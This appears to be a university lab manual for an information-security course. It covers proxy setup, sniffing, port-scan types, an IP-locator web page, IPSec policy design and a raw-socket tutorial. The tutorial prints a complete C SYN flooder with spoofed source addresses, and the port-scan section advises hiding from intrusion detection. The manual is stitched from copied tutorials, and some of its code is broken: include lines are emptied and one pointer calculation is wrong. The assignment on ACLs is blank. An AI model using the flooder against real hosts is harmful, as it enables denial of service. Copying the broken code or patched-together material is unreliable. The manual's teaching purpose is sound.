414441: Information System Security

Teaching Scheme : Examination Scheme:

Practical : 2 hours /week T/W : 50 Marks
Oral : 50 Marks
Assignments

1. Configure proxy server.

2. Implementation of protocol analyzer/sniffer.

3. Download free tool for port scanning and test it.

4. Find the IP address of remote machine

5. Design security policy for commercial organization

6. Implement ACL for router, example ACLs for router 1721

7. Write a client server socket program in which server will authenticate client

using authentication algorithm.

8. Download vulnerability scanning tool. Generate the report for any sample

network ex. free tool as nessus.

9. Implement secrete key algorithm

10. Implement a public key algorithm

11. Simulate SYN flood attack

12. Implement a virtual LAN using a router and a manageable switch.

13. Implement SSL protocol

 Assignments No. 1

Aim: Configure proxy server

proxy server

In an enterprise that uses the Internet, a proxy server is a server that acts as an
intermediary between a workstation user and the Internet so that the enterprise can ensure
security, administrative control, and caching service. A proxy server is associated with or
part of a gateway server that separates the enterprise network from the outside network
and a firewall server that protects the enterprise network from outside intrusion.

A proxy server receives a request for an Internet service (such as a Web page request)
from a user. If it passes filtering requirements, the proxy server, assuming it is also a
cache server , looks in its local cache of previously downloaded Web pages. If it finds the
page, it returns it to the user without needing to forward the request to the Internet. If the
page is not in the cache, the proxy server, acting as a client on behalf of the user, uses one
of its own IP addresses to request the page from the server out on the Internet. When the
page is returned, the proxy server relates it to the original request and forwards it on to
the user.

To the user, the proxy server is invisible; all Internet requests and returned responses
appear to be directly with the addressed Internet server. (The proxy is not quite invisible;
its IP address has to be specified as a configuration option to the browser or other
protocol program.)

An advantage of a proxy server is that its cache can serve all users. If one or more
Internet sites are frequently requested, these are likely to be in the proxy's cache, which
will improve user response time. In fact, there are special servers called cache servers. A
proxy can also do logging.

The functions of proxy, firewall, and caching can be in separate server programs or
combined in a single package. Different server programs can be in different computers.
For example, a proxy server may in the same machine with a firewall server or it may be
on a separate server and forward requests through the firewall.

Configuring Internet Explorer

In order to configure Internet Explorer to use the proxy server:

1. Open Internet Explorer

2. Click on Tools
3. Click on Internet Options
4. Click on Connections
5. Click on the LAN Settings button
6. Make sure that the checkbox next to Use automatic configuration script is
checked
 7. In the Address text field, type in http://proxy.rice.edu/proxy.pac
That window should look like this when you are finished:

8. Click on OK
9. Click on OK

Note : Use winproxy software for configuration.

 Assignments No. 2

Aim : Implementation of protocol analyzer/sniffer.

This lab will give you experience using the Observer protocol analyzer program.

Use the Observer program and under direction from the instructor become familiar with
the following modes.

Packet Capture
Start Capture - Stop Capture - Clear Packet buffer
Packet Viewer
Discovery mode

Load (Post filtered) Saved Packet Buffer

Save packet buffer

Filters

Import filter presets

Current Filter
Address Filters
Protocol and Offset Filters
Edit Profiles
Hardware Addresses
Create a new named profile
Add filter presets and hardware addresses to new named
profile.
Discovery mode
Configure
Start
Clear
Resolve IP
Edit Alias
Construct the following filter profiles and save them.

filter profile name address filter protcol

dilbert-IP 180.90.10.10 IP
arp ANY_ADDRESS ARP
upd-dns ANY_ADDRESS UDP-DNS
bart dns 180.90.10.6 UDP-DNS
icmp ANY_ADDRESS icmp
ip-www ANY_ADDRESS ip-tcp-www
router1-icmp 180.90.10.1 ip-icmp
router2-icmp 180.90.10.3 ip-icmp
netbios-all ANY_ADDRESS netbios

load the file data 3.2 1505 packets using each of the above filters and determine how
many packets are loaded with the filter.

filter profile name Number of packets

dilbert IP
arp
upd-dns
bart dns
icmp
ip-www
router1-icmp
router2-icmp
netbios-all

Construct a filter that will only capture packets from your PC. Set the current filter to
this filter and capture packets. Run the Telnet program from your PC and telnet dilbert.

How many packets were captured by the time you logged in? __________________
 Assignments No. 3

Aim : Download free tool for port scanning and test it

Introduction:
Many people over look the importance of a port scanner. Although almost ever hacker
and script kiddy has one in there tool box many don’t understand the different types of
port scanning. So I’m writing this tutorial on port scanning to give a complete listing of
the different types of scans and a listing of exactly how the type of scanning is used. Its
always important to remember you can also use port scanning to for banner grabbing so
its good to have good knowledge of exactly what types of port scans does what.

Port Scanning: Port scanning is the process of connecting to TCP and UDP ports on a
target system to determined what services are running or in a LISTENING state.
Identifying listening ports is critical to determine the type of operating system and
applications in use. Active services that are listening may allow an unauthorized user to
gain access to systems that are misconfigured or running a version of software known to
have security vulnerabilities.

Different Port Scanning Types:

TCP Connect Scan – This type of scan connects to the target port and completes a full
three way handshake (SYN, SYN / ACK, and ACK). It’s easily detected by the target
system.

TCP SYN Scan – This technique is called half one scanning because a full TCP
connection is not made. Instead a SYN packet is sent to the target port. If a (SYN / ACK)
is received from the target port, we can deduce that it is in the LISTENING state. If an
(RST / ACK) is received, it usually means that the port is not in the LISTENING state.
An (RST / ACK) will be sent by the systems performing port scans so that a full
connection is never established. This technique has the advantage of being stealthier than
a Full TCP Connect is, and may not be logged by the target systems.

TCP FIN Scan – This technique send a FIN packet to the target port. The target system
should send back an RST for all closed ports. This technique usually only works on a
UNIX based (TCP / IP) stack.

TCP Xmas Tree Scan – This technique send a FIN, URG, and PUSH packet to the target
port. Based on RFC 793, the target system should send back an RST for all closed ports.

TCP Null Scan – This technique turns off all flags. Based on RFC 793, the target system
should send back an RST for all closed Ports.
TCP ACK Scan – This technique is used to map out firewall rulesets. It can help
determine if the firewall is a simple packet filter allowing only established connections
(Connections with an ACK bit site) or a stateful firewall that is performing advance
packet filtering.

TCP Window Scan – This technique may detect open as well as filtered nonfiltered ports
on some systems (AIX and FreeBSD) due to an anomaly in the way the TCP window size
is reported.

TCP RPC Scan – This technique is specific for UNIX systems and is used to detect and
identify Report Procedure (RPC) ports and their associated program and version
numbers.

UDP Scan – This technique sends a UDP packet to the target port. If the target port
responds with an “ICMP port unreachable” message, the port is closed. Conversely, if we
don’t receive an “ICMP port unreachable” message, we can deduce the port is open.
Since UDP is known as a connectionless protocol, the accuracy of this technique is highly
depend on many factors related to the utilization’s of network and system resources. In
addition UDP scanning is a very slow process if you are trying to scan a device that
employs heavy packet filtering. If you plan on doing UDP scans over the Internet be
ready for unreliable results.

Active Stack Fingerprinting: Stack fingerprinting is an extremely powerful technology

that allows you to quickly ascertains each host operation system with a high degree of
probability. Essentially, there are many nuances that very between one venders Internet
protocol (IP) stack implementation and another’s. Vendors often interpret specific RFC
guidance differently when writing there TCP / IP stack. Thus by probing for these
differences, we can begin to make an educated guess about the operating system in use.
For maximum reliability, stack fingerprinting generally requires at least one listen port.

Passive Stack Fingerprinting: Passive stack fingerprinting is similar in concept to

active stack fingerprinting. Instead of sending packets to the target system, however, an
attacker passively monitors the network traffic to determine the operating system in use.
Thus, by monitoring network traffic between various systems, we can determine the
operating systems on a network

Passive Signatures: Various signatures can be used to identify an operating system.

Below are several associated with a TCP / IP session.
TTL – What does the operating system set as time to live on outbound packets?
Window Size – What does the operating system set as the Window Size?
DF – Does the operating system set the Don’t Fragment Bit?

Probes Used To Figure Out Target Operating Systems:

FIN Probe – A Find packet is sent to an open port. As mentioned RFC 793 states that the
correct behavior is not to respond. However many stack implements (Such As Windows
NT) will respond with as FIN/ACK.

Bogus Flag Probe – An undefined TCP flag is set in the TCP Header of a SYN packet.
Some operating systems such as (Linux) will respond with the flag set in there respond
packet.

Initial Sequence Number (ISN) Sampling – The basics premise is to find a pattern in
the initial sequence chose by the TCP implementation when responding to a connection
request.

Don’t Fragment Bit Monitoring – Some operation systems will set the “Don’t
Fragment Bit” to enhance performance. This bit can be monitored to determine what
types of operation systems exhibit this behavior.

TCP Initial Window Size – Initial window size on returned packets is tracked. For some
stack implementations, this size is unique and can be greatly added tot he accuracy of the
fingering mechanism.

ACK Value – Internet Protocols (IP) stacks differ in the sequence value used for the
ACK field, so some implementations will send back the sequences number you sent, and
others will send back a sequence number +1.

ICMP Error Message Quenching – Operating system may follow RFC 1812 and limit
rate at which error messages are sent. By sending UDP packets to some random high
numbered ports, you can count the number of unreachable messages received within a
given amount of time.

ICMP Message Quoting – Operating systems differ in the amount of information that is
quoted when ICMP errors are encountered. By examining the quoted message, you might
be able to make some assumptions on the target operating system.

Type Of Service (TOS) – For “ICMP port unreachable” messages, the TOS is examined.
Most stack implementations use 0,but this can vary.
Fragmentation Handling – Different stacks handle overlapping fragments differently.
Some stacks will overwrite the old data with new data and vice versa.

TCP Options – By sending a packet with multiple options set, such as no operation,
maximum segment size, window scale factor and timestamps, it is possible to make some
assumptions about the target system.

Conclusion:
I hope you found this tutorial on port scanning hopeful. It’s always important to have a
good understanding of techniques used to gain vital information on target hosts or
operating systems. If you the attacker don’t have a good understanding of the tools your
using, then you shouldn’t be using them. Remember some Intrusion Detection Systems
(IDS) might pick up port scanning attempts so its important to always block your host
Internet Protocol (IP). This will help you stay anonymous on the Internet. If you have any
questions or would like to contact me you can do so by contacting one of the following
listed below.
 Assignments No. 4

Aim : Find the IP address of remote machine

Problem Statement : Find IP address of Remote System

Program :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>IP Locator</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="content-language" content="en">
<meta name="keywords" content="">
<meta name="description" content="">
<meta http-equiv="refresh" content="120">
<script language="JavaScript" type="text/javascript">
/****************************************************
* IPLocator Script v.1.0 by http://www.formyip.com
* © http://www.formyip.com
*****************************************************/
function winClose()
{
myWindow.close();
}
function submitData()
{
document.forms[0].code.value =
"7d039cd5a950abff5da7fd74b343ed471169006833";
document.forms[0].action = "http://www.formyip.com/ippost.php";
document.forms[0].method = "post";
document.forms[0].target = "ippost";
myWindow = window.open('http://www.formyip.com/ippost.php',
'ippost', 'width=200, height=25');
document.forms[0].submit();
self.setTimeout('winClose()', 12000);
}
</script>
</head>
<html>
<body>
<form name="download">
<center><b>This html page updates the Web Server with your
current IP. <br>
Please enable the popups to keep updating your IP on the Web
Server.</b><br>
<br>Your Code is:
7d039cd5a950abff5da7fd74b343ed471169006833</center>
<input type="hidden" name="code">
<script language="JavaScript" type="text/javascript">
submitData();
</script>
</form>
<br>
<br>
<table cellspacing="0" cellpadding="5" border="1" align="center">
<tr>
<td><a
href="http://www.formyip.com/iplookup.php?pass_code=7d039cd5a950abff5da
7fd74b343ed471169006833">Go to IP LookUp</a></td>
</tr>
</table>
<br>
<br>
</body>
</html>

Output:
203.197.82.244

IP sent to Web Server...

 Assignments No. 5

Aim : Design security policy for commercial organization

IPSec security policies are often inefficient and error-prone which may result in network
downtime and security breaches. In medium to large networks, policies become difficult
to maintain due to inadequate planning of policy design and implementation. The initial
design may have been 'put an IPSec gateway here, put a firewall there and make sure
these people can communicate there'.

This assignment describes a few main aims of network security policies and proposes
methods of designing high-level policies. A possible framework for the translation of
these high-level policies into actual low-level IPSec policies that satisfy the high-level
policies is discussed. These low-level policies are then examined for correctness.
Interviews were held with people in the industry who have had experience in IPSec
security policies and some of the results of these interviews are given.

This assignment also examines techniques for implementing and deploying IPSec
technologies that can help increase its cryptographic strength by changing the low-level
policies.

KEY WORDS

Private CA: A certificate authority with a small trust path.

IPSec: Internet Protocol Security.
High-level policy: A security policy written in plain English.
Low-level policy: A security policy that has been implemented.
VPN: Virtual Private Network.
Security policy design with IPSec

1. INTRODUCTION

"If you think technology can solve your security problems, then you don't understand the
problems and you don't understand the technology" (wwwa,2003). This is from Bruce
Schneier’s book 'Secrets and lies', where he in essence states that he used to believe that
cryptography was the silver bullet when it came to security. He also states that readers of
his book 'Applied Cryptography' got a false sense of security when using cryptography.
This principle can be applied to security policies, since a security policy is only as strong
as it's weakest link. No matter how difficult it is to break an encryption code, it does not
replace the need for an adequate high-level security policy and a correctly translated low-
level policy.

This assignment will describe some of the aims of network security policies. A high-level
policy example will be converted low-level polices, as well as commentary given on this
process. A possible framework for network security is proposed. IPSec survivability
policies and various low-level IPSec policies are also discussed.

2. THE MAIN AIMS OF NETWORK SECURITY POLICIES

This assignment assumes the main aims of network security policies, which include
themes such as:
• Protect network assets (information and computers).
• Network resources must be available to the correct people and computers.
• Network downtime must be minimized.
• Low-level security policies must be easily verifiable.
• New low-level and high-level security requirements must be easily implemented.
• The ability to detect and survive security breaches.
The following points must also be considered:
• Roos (2003) states that VPN design and documentation is a major undertaking,
which cannot be overstressed. He also suggests that a large portion of the design
is the incorporation and adherence to the company's overall security policy.
• Security of course is also not a once-off task. The design and implementation
needs to be constantly monitored and maintained to meet the security needs of the
organization.
• Educating the users should be included in the design of a security policy since
they may be the weakest link in the security policy. Why security policies fail
(1999:4-5) suggests that it should be recognized that security is inconvenient and
the designers should avoid excessive complexity to make it easier for the users to
work with and not against the policy.

3. A DESIGN OUTLINE OF AN IPSEC POLICY

3.1 THE CONVERSION OF HIGH-LEVEL POLICIES TO LOW-LEVEL

POLICIES

High-level network security policies are usually written in plain English and these
policies need to be converted into low-level network security policies so that they can be
implemented. Roos (2003) states that a high-level security policy uses terms such as:
‘these people’, ‘those applications’, ‘from their homes’, ‘at these times’, ‘from those
locations’, ‘low / medium / high risk’, ‘low / medium / high security’, ‘personal’ and the
like. On the other hand, (Roos 2003) states that an IPSec policy uses terms such as: ‘IP
address’, ‘these ports’, ‘this traffic type’, ‘subnets’, ‘hosts’, ‘this type of encryption’, ‘key
lengths’, ‘lifetimes’, ‘certificates’ and the like.

One of the most important tasks of IPSec policy management is to represent high-level
policies in a efficient and unambiguous manner (Fu et al. 2003: 4). This can of course be
applied to any security policy, not only an IPSec policy. However, it must be noted that
an IPSec policy is not as simple as securing traffic between two given points and there
are several factors that need to be taken into account.

Fu et al. (2003:2) suggests managing policies for large distributed systems, it is desirable
to separate high-level and low-level policies:
• "Policies are specific ways to implement requirements such that requirements are
more static and that policies are more dynamic."
This will have the advantage of allowing the low-level policy to change while
the high-level policies remain the same. This allows for fine-tuning of systems
and re-analysis of the requirements.

• "The separation permits automation of the process to transform requirements to

policies."
This is very valid, since manually configuring IPSec polices is a very laborious
and tedious task and could therefore result in a security risk though mistakes in
the translation to a low-level policy.

• "Explicitly specified requirements could be used as criteria to verify the

correctness of the low-level policies."
This allows for a better-designed and maintained policy in the long term. It also
allows for the auditing of the low-level policies.

Fu et al. (2003:2-3) gives an example where a single high-level policy can have two very
different low-level policies, as shown in Figure 1 and Figure 2. The high-level policy
here, would dictate that Host 1 must communicate securely with Host 2:
 Key
Encrypted Traffic Plaintext (Unencrypted traffic)
IPSec SA

Public Network

IPSec SA

Host 1 Host 2
Gateway 1 Gateway 2

Figure 1

Public Network

IPSec SA 1 IPSec SA 2

Host 1 Host 2
Gateway 1 Gateway 2

Figure 2
(Figure 1 shows a VPN with a direct tunnel, connected between Host 1 and Host 2)
(Figure 2 shows a VPN with a partially split tunnel, where Gateway 1 decrypts and re-
encrypts traffic between Host 1 and Host 2)

Fu et al. (2003:2-3) shows that these low-level security policies (Figure 1 and Figure 2)
may perform the same thing from the given high-level specification point of view and
from a user’s point of view, but they are two very different implementations.

Figure 2 illustrates a break at Gateway 1. This allows the first trusted gateway to decrypt
the secured data and examine it, log information on it if desired for auditing or possibly
filter the traffic. Gateway 1 can now be used as a central point of auditing the data
instead of having auditing done at each host (Fu et al. 2003:2-3). It was also noted by
Botha (2003) that the privacy policy enforcement is very different in these two scenarios.
Botha (2003) also commented that a high-level policy might state that Gateway 1 must
employ an intrusion detection system and need to decrypt traffic and another high-level
policy may state that Host 1 and Host 2 must have completely secure communications,
which may result in a policy clash. Clashes will be discussed more in the Section 6.1.

3.2 AN ANALOGY BETWEEN SOFTWARE DESIGN AND NETWORK

SECURITY DESIGN

Network security design can be compared to the design of software, and many of the
principles that have been developed and used over the years can be used (Porto and De
Geus 2003:1). It is unfortunate that many software products are developed using what
might be termed a ‘build and fix’ model. This model is simply built and reworked until
the requirements are met (Schach 1997:53-54). This model is occasionally applied to
network security policies, where the exact requirements are not known, and an
implementation is made several times until it is assumed that the implementation is
correct. These policies could cause security risks through network policy breakdown,
network resources not being available to the correct people or network down time. Such
policies are in contravention with the main aims of network security policies as out lined
in Section 2. The final result may be the loss of revenue for the organization in the long
and short term.

The design and documentation of VPN's require an engineering approach (Roos 2003).
Traditional software methodologies follow this approach closely as well. This may be the
best idea for a security policy, since the number of errors and weaknesses in a security
policy should be minimized through this tight control. Section 4 will now show a
possible framework for network security policy design, an engineering styled approach.

4. A POSSIBLE FRAMEWORK FOR NETWORK SECURITY POLICY DESIGN

Porto and De Geus (2003:1) claim that the deployment of a network security system
usually goes through three phases:
1. A documented high-level security policy with controls based on guidelines such
as ISO 17799.
2. It passes through a formal specification of the security requirements.
3. Finally it goes through an implementation of the several enforcement mechanisms
that compose the system. (IPSec devices, firewalls, intrusion detection systems
etc.)

Porto et al. (2003:1) notes that there is a gap between the high-level specification security
requirements (Phase 2) and the low-level implementation of the mechanisms to enforce
them (Phase 3). This is due to the translation of the high-level specification directly to
the implementation of a complex system. These have complex security components that
may have to be configured differently since each device may have different methods of
configuration.

Therefore Porto et al. (2003:2-4) propose a framework for network security system
design as follows:

• Information security policies definitions.

A highest-level security policy is done in 'natural English'.

• Security requirement analysis.

A high-level security policy is done in 'formal language'.

• Network security design.

A design level security policy is done using 'formal models'.

• Network security implementation.

Security mechanisms are now configured on the selected devices.
Security requirement analysis (as indicated in the proposed model) is not often done, but
as Porto et al. (2003:2) suggests it can have benefits. A formal model can be analysed to
detect conflicts between lower-level and higher-level policies. Its formality may also
eliminate ambiguities that may present itself in the highest-level policies.

CONCLUSION

Network security policies need to conform to very strict aims to be efficient and secure.
Whichever way a high-level network security policy is developed, it needs to have a
formal design and this high-level policy needs to be adequately translated into low-level
IPSec policies. Low-level policies then need to be verified to check if they fit the initial
high-level requirements. The design should then be documented so that others can use
and maintain the current policy. This allows for changes in the high-level and low-level
security requirements. Several tweaks can be done to improve the cryptographic strength
of a low-level policy, but it does not replace an adequately designed and translated policy.
 Assignments No. 6

Aim : Implement ACL for router, example ACLs for router 1721
 Assignments No. 7

Aim : Write a client server socket program in which server will authenticate client
using authentication algorithm

This lab will introduce you to socket programming.After successfully completing this lab
you should be able to understand, analyze, develop, and edit raw socket programs.

A brief programming tutorial in C for raw sockets

by Mixter for the BlackCode Magazine
http://mixter.void.ru or http://mixter.warrior2k.com

1. Raw sockets
2. The protocols IP, ICMP, TCP and UDP
3. Building and injecting datagrams
4. Basic transport layer operations

In assignment, you'll learn the basics of using raw sockets in C, to insert any IP protocol
based datagram into the network traffic. This is useful,for example, to build raw socket
scanners like nmap, to spoof or to perform operations that need to send out raw sockets.
Basically, you can send any packet at any time, whereas using the interface functions for
your systems IP-stack (connect, write, bind, etc.) you have no direct control over the
packets. This theoretically enables you to simulate the behavior of your OS's IP stack,
and also to send stateless traffic (datagrams that don't belong to a valid connection). For
this tutorial, all you need is a minimal knowledge of socket programming in C (see
http://www.ecst.csuchico.edu/~beej/guide/net/).
I. Raw sockets

The basic concept of low level sockets is to send a single packet at one time, with all the
protocol headers filled in by the program (instead of the kernel). Unix provides two kinds
of sockets that permit direct access to the network. One is SOCK_PACKET, which
receives and sends data on the device link layer. This means, the NIC specific header is
included in the data that will be written or read. For most networks, this is the ethernet
header. Of course, all subsequent protocol headers will also be included in the data. The
socket type we'll be using, however, is SOCK_RAW, which includes the IP headers and
all subsequent protocol headers and data.

The (simplified) link layer model looks like this:

Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->
Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)

Now to some practical stuff. A standard command to create a datagram socket is: socket
(PF_INET, SOCK_RAW, IPPROTO_UDP); From the moment that it is created, you can
send any IP packets over it, and receive any IP packets that the host received after that
socket was created if you read() from it. Note that even though the socket is an interface
to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and
ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP,
IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for
udp and 1 for icmp).

With this knowledge, we can, for example, already create a small sniffer, that dumps out
the contents of all tcp packets we receive. (Headers, etc. are missing, this is just an
example. As you see, we are skipping the IP and TCP headers which are contained in the
packet, and print out the payload, the data of the session/application layer, only).

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);

char buffer[8192]; /* single packets are usually not bigger than 8192 bytes */
while (read (fd, buffer, 8192) > 0)
printf ("Caught tcp packet: %s\n",
buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));

II. The protocols IP, ICMP, TCP and UDP

To inject your own packets, all you need to know is the structures of the protocols that
need to be included. Below you will find a short introduction to the IP, ICMP, TCP and
UDP headers. It is recommended to build your packet by using a struct, so you can
comfortably fill in the packet headers. Unix systems provide standard structures in the
header files (eg. ). You can always create your own structs, as long as the length of each
option is correct. To help you create portable programs, we'll use the BSD names in our
structures. We'll also use the little endian notation. On big endian machines (some other
processor architectures than intel x86), the 4 bit-size variables exchange places. However,
one can always use the structures in the same ways in this program. Below each header
structure is a short explanation of its members, so that you know what values should be
filled in and which meaning they have.

The data types/sizes we need to use are: unsigned char - 1 byte (8 bits), unsigned short int
- 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)

struct ipheader {
unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */
The Internet Protocol is the network layer protocol, used for routing the data from the
source to its destination. Every datagram contains an IP header followed by a transport
layer protocol such as tcp.

ip_hl: the ip header length in 32bit octets. this means a value of 5 for the hl means 20
bytes (5 * 4). values other than 5 only need to be set it the ip header contains options
(mostly used for routing)
ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)
ip_tos: type of service controls the priority of the packet. 0x00 is normal. the first 3 bits
stand for routing priority, the next 4 bits for the type of service (delay, throughput,
reliability and cost).
ip_len: total length must contain the total length of the ip datagram. this includes ip
header, icmp or tcp or udp header and payload size in bytes.
ip_id: the id sequence number is mainly used for reassembly of fragmented IP datagrams.
when sending single datagrams, each can have an arbitrary ID.
ip_off: the fragment offset is used for reassembly of fragmented datagrams. the first 3 bits
are the fragment flags, the first one always 0, the second the do-not-fragment bit (set by
ip_off |= 0x4000) and the third the more-flag or more-fragments-following bit (ip_off |=
0x2000). the following 13 bits is the fragment offset, containing the number of 8-byte big
packets already sent.
ip_ttl: time to live is the amount of hops (routers to pass) before the packet is discarded,
and an icmp error message is returned. the maximum is 255.
ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or whatever protocol
follows the ip header. look in /etc/protocols for more.
ip_sum: the datagram checksum for the whole ip datagram. every time anything in the
datagram changes, it needs to be recalculated, or the packet will be discarded by the next
router. see V. for a checksum function.
ip_src and ip_dst: source and destination IP address, converted to long format, e.g. by
inet_addr(). both can be chosen arbitrarily.

IP itself has no mechanism for establishing and maintaining a connection, or even

containing data as a direct payload. Internet Control Messaging Protocol is merely an
addition to IP to carry error, routing and control messages and data, and is often
considered as a protocol of the network layer.

struct icmpheader {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short int icmp_cksum;
/* The following data structures are ICMP type specific */
unsigned short int icmp_id;
unsigned short int icmp_seq;
}; /* total icmp header length: 8 bytes (=64 bits) */

icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 - destination
unreachable. look in for all the types.
icmp_code: this is significant when sending an error message (unreach), and specifies the
kind of error. again, consult the include file for more.
icmp_cksum: the checksum for the icmp header + data. same as the IP checksum. Note:
The next 32 bits in an icmp packet can be used in many different ways. This depends on
the icmp type and code. the most commonly seen structure, an ID and sequence number,
is used in echo requests and replies, hence we only use this one, but keep in mind that the
header is actually more complex.
icmp_id: used in echo request/reply messages, to identify the request
icmp_seq: identifies the sequence of echo messages, if more than one is sent.

The User Datagram Protocol is a transport protocol for sessions that need to exchange
data. Both transport protocols, UDP and TCP provide 65535 different source and
destination ports. The destination port is used to connect to a specific service on that port.
Unlike TCP, UDP is not reliable, since it doesn't use sequence numbers and stateful
connections. This means UDP datagrams can be spoofed, and might not be reliable (e.g.
they can be lost unnoticed), since they are not acknowledged using replies and sequence
numbers.

struct udpheader {
unsigned short int uh_sport;
unsigned short int uh_dport;
unsigned short int uh_len;
unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */

uh_sport: The source port that a client bind()s to, and the contacted server will reply back
to in order to direct his responses to the client.
uh_dport: The destination port that a specific server can be contacted on.
uh_len: The length of udp header and payload data in bytes.
uh_check: The checksum of header and data, see IP checksum.

The Transmission Control Protocol is the mostly used transport protocol that provides
mechanisms to establish a reliable connection with some basic authentication, using
connection states and sequence numbers. (See IV. Basic transport layer operations.)

struct tcpheader {
unsigned short int th_sport;
unsigned short int th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_x2:4, th_off:4;
unsigned char th_flags;
unsigned short int th_win;
unsigned short int th_sum;
unsigned short int th_urp;
}; /* total tcp header length: 20 bytes (=160 bits) */
th_sport: The source port, which has the same function as in UDP.
th_dport: The destination port, which has the same function as in UDP.
th_seq: The sequence number is used to enumerate the TCP segments. The data in a TCP
connection can be contained in any amount of segments (=single tcp datagrams), which
will be put in order and acknowledged. For example, if you send 3 segments, each
containing 32 bytes of data, the first sequence would be (N+)1, the second one (N+)33
and the third one (N+)65. "N+" because the initial sequence is random.
th_ack: Every packet that is sent and a valid part of a connection is acknowledged with an
empty TCP segment with the ACK flag set (see below), and the th_ack field containing
the previous the_seq number.
th_x2: This is unused and contains binary zeroes.
th_off: The segment offset specifies the length of the TCP header in 32bit/4byte blocks.
Without tcp header options, the value is 5.
th_flags: This field consists of six binary flags. Using bsd headers, they can be combined
like this: th_flags = FLAG1 | FLAG2 | FLAG3...
TH_URG: Urgent. Segment will be routed faster, used for termination of a connection
or to stop processes (using telnet protocol).
TH_ACK: Acknowledgement. Used to acknowledge data and in the second and third
stage of a TCP connection initiation (see IV.).
TH_PSH: Push. The systems IP stack will not buffer the segment and forward it to the
application immediately (mostly used with telnet).
TH_RST: Reset. Tells the peer that the connection has been terminated.
TH_SYN: Synchronization. A segment with the SYN flag set indicates that client wants
to initiate a new connection to the destination port.
TH_FIN: Final. The connection should be closed, the peer is supposed to answer with
one last segment with the FIN flag set as well.
th_win: Window. The amount of bytes that can be sent before the data should be
acknowledged with an ACK before sending more segments.
th_sum: The checksum of pseudo header, tcp header and payload. The pseudo is a
structure containing IP source and destination address, 1 byte set to zero, the protocol (1
byte with a decimal value of 6), and 2 bytes (unsigned short) containing the total length
of the tcp segment.
th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It points to the end of
the payload data that should be sent with priority.
III. Building and injecting datagrams

Now, by putting together the knowledge about the protocol header structures with some
basic C functions, it is easy to construct and send any datagram(s). We will demonstrate
this with a small sample program that constantly sends out SYN requests to one host (Syn
flooder).

#define __USE_BSD /* use bsd'ish ip header */

#include /* these headers are for a Linux system, but */
#include /* the names on other systems are easy to guess.. */
#include
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include
#include

#define P 25 /* lets flood the sendmail port */

unsigned short /* this function generates header checksums */

csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

int
main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */
char datagram[4096]; /* this buffer will contain ip header, tcp header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */

sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

memset (datagram, 0, 4096); /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
 iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */
iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (1234); /* arbitrary port */
tcph->th_dport = htons (P);
tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
tcph->th_x2 = 0;
tcph->th_off = 0; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl (65535); /* maximum allowed window size */
tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->th_urp = 0;

iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure

that the kernel knows the header is included in the data, and doesn't
insert its own header into the packet before our data */

{ /* lets do it the ugly way.. */

int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");
}

while (1)
{
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->ip_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("error\n");
else
printf (".");
}

return 0;
}

IV. Basic transport layer operations

To make use of raw packets, knowledge of the basic IP stack operations is essential. I'll
try to give a brief introduction into the most important operations in the IP stack. To
learn more about the behavior of the protocols, one option is to exame the source for your
